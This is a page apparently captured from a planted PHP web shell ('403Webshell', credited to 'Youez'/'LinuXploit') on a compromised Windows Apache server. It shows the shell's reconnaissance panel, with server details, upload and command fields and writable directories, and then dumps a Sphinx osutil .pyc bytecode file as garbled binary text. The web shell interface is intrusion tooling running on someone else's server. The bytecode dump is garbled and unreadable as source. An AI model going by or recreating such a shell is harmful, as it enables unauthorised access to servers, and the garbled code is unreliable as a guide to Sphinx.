403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/osutil.cpython-39.pyc
a

�ab-�@s�dZddlZddlZddlZddlZddlZddlZddlZddlm	Z	ddlm
Z
ddlmZm
Z
mZmZmZmZddlmZzddlm
ZWney�dZYn0dZeed�d	d
�Zeed�dd
�Zeeed�dd�Zedd�dd�Zeeeeed�dd�Zeedd�dd�Zeedd�dd�Z eedd�dd�Z!e�"d�Z#e�"d�Z$eed �d!d"�Z%eed#�d$d%�Z&ej'feeed&�d'd(�Z(e(Z)e�*��p�e�+�Z,eed)�d*d+�Z-ej.ee
d,d-�d.d/��Z/Gd0d1�d1�Z0edd�d2d3�Z1dS)4z�
    sphinx.util.osutil
    ~~~~~~~~~~~~~~~~~~

    Operating system-related utility functions for Sphinx.

    :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�StringIO��path)�Any�	Generator�Iterator�List�Optional�Type)�RemovedInSphinx50Warning�/)�
canonicalpath�returncCs|�ttj�S�N)�replace�SEPr�sep)r
�r�6/usr/lib/python3.9/site-packages/sphinx/util/osutil.py�os_path'sr)�
nativepathrcCs|�tjt�S)z"Return path in OS-independent form)rrrr)rrrr�
canon_path+sr)�base�torcCs�|�t�r|S|�d�d�t�}|�d�d�t�}t|dd�|dd��D](\}}||krdqz|�d�|�d�qP||kr�dSt|�dkr�|dgkr�dtSdtt|�dt�|�S)	z.Return a relative URL from ``base`` to ``to``.�#rN������.z..)�
startswithr�split�zip�pop�len�join)rr�b2�t2�x�yrrr�relative_uri0s
"
r)�rrcCstj|dd�dS)zEnsure that a path exists.T)�exist_okN)�os�makedirsrrrr�	ensuredirGsr.)�dirnames�suffixrccsd|D]Z}t�|�D]J\}}}|D]:}|�|�r zt�t�||��VWq tyXYq 0q qqdSr)r,�walk�endswithr�getmtimer$�OSError)r/r0�dirname�rootZ_dirs�filesZsfilerrr�mtimes_of_filesLs
r8)�source�destrcCsNtjdtdd�tj�|�r>zt�|�Wnty<Yn0t�||�dS)z3Move a file, removing the destination if it exists.zYsphinx.util.osutil.movefile() is deprecated for removal. Please use os.replace() instead.�)�
stacklevelN)	�warnings�warnrr,r�exists�unlinkr4�rename�r9r:rrr�movefileWs�rCcCs,t�|�}ttd�r(t�||j|jf�dS)z!Copy a file's modification times.�utimeN)r,�stat�hasattrrD�st_atime�st_mtime)r9r:�strrr�	copytimesds

rJcCsHt�|�rt�||�sDt�||�zt||�WntyBYn0dS)z{Copy a file and its modification times, if possible.

    Note: ``copyfile`` skips copying if the file has not been changedN)rr?�filecmp�cmp�shutil�copyfilerJr4rBrrrrNksrNz[^a-zA-Z0-9_-]z Documentation$)�stringrcCst�d|�pdS)NrZsphinx)�no_fn_re�sub)rOrrr�
make_filename|srR)�projectrcCstt�d|����S)Nr)rR�project_suffix_rerQ�lower)rSrrr�make_filename_from_project�srV)r�startrcCs,ztj�||�WSty&|YS0dS)aReturn a relative filepath to *path* either from the current directory or
    from an optional *start* directory.

    This is an alternative of ``os.path.relpath()``.  This returns original path
    if *path* and *start* are on different drives (for Windows platform).
    N)r,r�relpath�
ValueError)rrWrrrrX�srX)�pathdirrc
Csxtdurt|t�r|��St�|�}t|t�rpz|�t�}Wn2tyn}ztdt�|�WYd}~n
d}~00|SdS)NzAmultibyte filename not supported on this filesystem encoding (%r))�Path�
isinstance�abspathr�bytes�decode�fs_encoding�UnicodeDecodeError)rZ�excrrrr]�s

��r])NNN)�
target_dirrc	cs8t��}zt�|�dVWt�|�nt�|�0dSr)r,�getcwd�chdir)rc�cwdrrr�cd�s

rgc@steZdZdZedd�dd�Zedd�dd�Zdd	�d
d�Zdd	�dd
�Ze	e
e
eed�dd�Z
eed�dd�ZdS)�FileAvoidWritea�File-like object that buffers output and only writes if content changed.

    Use this class like when writing to a file to avoid touching the original
    file if the content hasn't changed. This is useful in scenarios where file
    mtime is used to invalidate caches or trigger new behavior.

    When writing to this file handle, all writes are buffered until the object
    is closed.

    Objects can be used as context managers.
    Nr*cCs||_d|_dSr)�_path�_io)�selfrrrr�__init__�szFileAvoidWrite.__init__)�datarcCs|jst�|_|j�|�dSr)rjr�write)rkrmrrrrn�szFileAvoidWrite.write)rcCs�|jstd��|��}|j��zTt|jdd��2}|��}||krTWd�WdSWd�n1sh0YWnty�Yn0t|jddd��}|�|�Wd�n1s�0YdS)z0Stop accepting writes and write file, if needed.z,FileAvoidWrite does not support empty files.zutf-8)�encodingN�w)	rj�	Exception�getvalue�close�openri�readr4rn)rk�bufZold_fZold_content�frrrrs�s
4zFileAvoidWrite.closecCs|Srr)rkrrr�	__enter__�szFileAvoidWrite.__enter__)�exc_type�	exc_value�	tracebackrcCs|��dS)NT)rs)rkryrzr{rrr�__exit__�szFileAvoidWrite.__exit__)�namercCs|jstd��t|j|�S)Nz=Must write to FileAvoidWrite before other methods can be used)rjrq�getattr)rkr}rrr�__getattr__�szFileAvoidWrite.__getattr__)�__name__�
__module__�__qualname__�__doc__�strrlrnrsrxr
rqr�boolr|rrrrrrh�srhcCs&tj�|�rt�|�n
t�|�dSr)r,r�isdirrM�rmtree�removerrrrr��sr�)2r��
contextlibrKr,�rerM�sysr=�iorr�typingrrrrr	r
Zsphinx.deprecationrZsphinx.testing.pathr[�ImportErrorrr�rrr)r.�floatr8rCrJrN�compilerPrTrRrV�curdirrXZsafe_relpath�getfilesystemencoding�getdefaultencodingr`r]�contextmanagerrgrhr�rrrr�<module>sH
 




	8

Youez - 2016 - github.com/yon3zu
LinuXploit